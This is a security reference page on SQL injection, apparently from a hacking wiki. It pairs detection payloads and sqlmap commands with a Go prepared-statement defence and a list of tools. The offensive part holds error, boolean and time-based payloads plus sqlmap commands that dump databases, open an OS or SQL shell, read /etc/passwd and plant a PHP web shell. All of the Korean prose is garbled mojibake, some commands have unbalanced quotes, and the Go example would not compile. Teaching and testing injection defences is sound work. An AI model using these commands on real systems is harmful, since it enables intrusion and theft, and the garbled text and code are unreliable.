๐ Introduction
SQL Injection์ ๊ณต๊ฒฉ์๊ฐ Application์์ ์ฌ์ฉ๋๋ SQL Query ๋ฒ์ด๋ ์๋ํ SQL Query๋ฅผ ์ํํ ์ ์๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก SQL Query๋ก ์ฐ๊ฒฐ๋๋ ์ฌ์ฉ์ ์ ๋ ฅ ๊ตฌ๊ฐ์ด ์ฃผ๋ก ์ทจ์ฝํ ๋ถ๋ถ์ด๋ฉฐ, ์ด๋ฅผ ํตํด DB๋ด ๋ค๋ฅธ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๊ฑฐ๋, ์ค์ ์ ๋ฐ๋ผ ์์คํ ๊ถํ๊น์ง ํ์ทจํ ์ ์๋ ์ทจ์ฝ์ ์ ๋๋ค.
๐ก Offensive techniques
Detect
Error base
์๋ชป๋ SQL Query๋ฅผ ์ฒ๋ฆฌํ๋ ค๊ณ ํ ๋ ๋ฐ์ํ๋ ์๋ฌ๋ฅผ ํตํด์ SQL Injection์ ๊ฐ๋ฅ์ฑ์ ํ์ธํ ์ ์์ต๋๋ค.
Warning: mysql_fetch_array() expects parameter 1 to be resource, null given in /hj/var/www/listproducts.php on line 74
์์ธํ ์๋ฌ๊ฐ ๋ํ๋๋ ๊ฒฝ์ฐ ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ด๋ค SQL Query ๊ตฌ๋ฌธ์ด ๊ตฌ์ฑ ๋์๋์ง, ๊ณต๊ฒฉ์๊ฐ ์ถ์ธกํ๊ณ ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ํ๋ SQL Query๋ฅผ ์คํํ ์ ์๋๋ก ๊ณต๊ฒฉ์ฝ๋๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
Payload: param=GTID_SUBSET(CONCAT(0x7178707871,(SELECT (ELT(7761=7761,1))),0x716b767871),7761)
Boolean base
SQL ์ฟผ๋ฆฌ๋ฅผ ํตํด ์์๋ก false๋ true๊ฐ ๋ฐ์ํ๋๋ก ํ์ฌ SQL Injection์ ์ฌ๋ถ๋ฅผ ์ฒดํฌํ ์ ์์ต๋๋ค.
Payload: param=' or 1=1
=> {"name":"alice"}
Payload: param=' or 1=2
=> {"name":""}
[blind] Timinig base
์๋ฒ์์ ์๋ฌ ํธ๋ค๋ง์ ํ์ฌ ์ฌ์ฉ์์๊ฒ ์๋ฌ๋ฅผ ๋ณด์ฌ์ฃผ์ง ์๋ ๊ฒฝ์ฐ, ๋๋ Boolean ์ฌ๋ถ๋ฅผ ์ ์ ์๋ ํ๊ฒฝ์์ ์ฝ๊ฒ ๊ณต๊ฒฉ์ ์ฑ๊ณต ์ ๋ฌด๋ฅผ ํ๋จํ ์ ์์ต๋๋ค. ๊ทธ๋์ sleep()
๊ตฌ๋ฌธ ๋ฑ์ ์ด์ฉํ์ฌ ์๋ฒ์์ Delay ๋๋ time์ ๊ณ์ฐํ๊ณ , ์ค์ ์ฟผ๋ฆฌ๊ฐ ์คํ๋ฌ๋์ง ์ฒดํฌํ ์ ์์ต๋๋ค.
Payload: param=(CASE WHEN (9835=9835) THEN SLEEP(5) ELSE 9835 END)
Detect with SQLMap
SQLMap์ SQL Injection์ ํ์งํ๊ณ , Exploit ํ๊ธฐ ์ํ ๋๊ตฌ์ ๋๋ค. ์ด๋ฅผ ์ด์ฉํ๋ฉด ๋น ๋ฅด๊ฒ ์ฌ๋ฌ ํ์ด๋ก๋๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ ์คํธํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ์๋ sqlmap ์ปฌ๋ฆฌ๋ ์ํค๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
https://www.hahwul.com/cullinan/sqlmap/
Exploitation
All databases - sqlmap
sqlmap -u "https://google.com/?q=1 --dbs
All tables in db - sqlmap
sqlmap -u "https://google.com/?q=1 --tables -D "DB-NAME"
All columns in table - sqlmap
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -columns
Dumped contents - sqlmap
sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -dump
Get Shell - sqlmap
Get OS Shell
sqlmap -u "https://google.com/?q=1 --os-shell
Get SQL Shell - sqlmap
sqlmap -u "https://google.com/?q=1 --sql-shell
R/W File - sqlmap
Read File
sqlmap -u "https://google.com/?q=1" --file-read '/etc/passwd'
Write File
sqlmap -u "https://google.com/?q=1" --file-write './shell.php' --file-dest '/apache/public/shell.php'
Bypass protection
XSS์ ๋์ผํ๊ฒ Encoding, Bypass WAF๋ฑ ์ฌ๋ฌ๊ฐ์ง ์ฐํ ๋ฐฉ๋ฒ๋ค์ด ์กด์ฌํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ PayloadAllTheThings๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์!
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
๐ก Defensive techniques
PreparedStatement
PreparedStatement๋ DB Query๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ ์ ๋ฏธ๋ฆฌ ์ค๋นํ Statement์ ๋๋ค. PreparedStatement๋ฅผ ์ฌ์ฉํ๋ฉด ๊ธฐ์กด์ ๋ฏธ๋ฆฌ ์ ์ํ ํจํด์ SQL Query๋ฅผ ๋ฒ์ด๋ ์ ์๊ฒ ๋์ด SQL Injection์ ํจ๊ณผ์ ์ผ๋ก ๋์ํ ์ ์์ต๋๋ค.
Golang์ PreparedStatement
// AlbumByID retrieves the specified album.
func AlbumByID(id int) (Album, error) {
// Define a prepared statement. You'd typically define the statement
// elsewhere and save it for use in functions such as this one.
stmt, err := db.Prepare("SELECT * FROM album WHERE id = ?")
if err != nil {
log.Fatal(err)
}
var album Album
// Execute the prepared statement, passing in an id value for the
// parameter whose placeholder is ?
err := stmt.QueryRow(id).Scan(&album.ID, &album.Title, &album.Artist, &album.Price, &album.Quantity)
if err != nil {
if err == sql.ErrNoRows {
// Handle the case of no rows returned.
}
return album, err
}
return album, nil
}
User Input Protection
๋ง์ฝ PreparedStatement์ ๊ฐ์ด ๋ฏธ๋ฆฌ ์ ์๋ Statement, ๋๋ Framework์ ๊ธฐ๋ฅ๋ค์ ์ด์ฉํ ์ ์๋ ๊ฒฝ์ฐ ์ฌ์ฉ์๋ก ๋ถํฐ ๋ฐ์ ์ฌ์ฉํ๋ ์ ๋ ฅ ๊ตฌ๊ฐ์๋ ๋ชจ๋ SQL Injection์ ๋ํ Protection์ด ํ์ํฉ๋๋ค.
DB Query๋ก ์ฐ๊ฒฐ๋๋ ๋ฐ์ดํฐ๋ ๋ฏธ๋ฆฌ ์์ธก ๊ฐ๋ฅํ ํ์ ์ ๊ฐ๋ง ๋ฐ์์ผํ๋ฉฐ, SQL Injection์ ์ฌ์ฉ๋ ์ ์๋ ํน์๋ฌธ์๋ฑ์ ์ ํํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๐น Tools
- https://github.com/sqlmapproject/sqlmap
- https://github.com/m4ll0k/Atlas
- https://gitlab.com/kalilinux/packages/sqlninja
- https://github.com/the-robot/sqliv
- https://github.com/stamparm/DSSS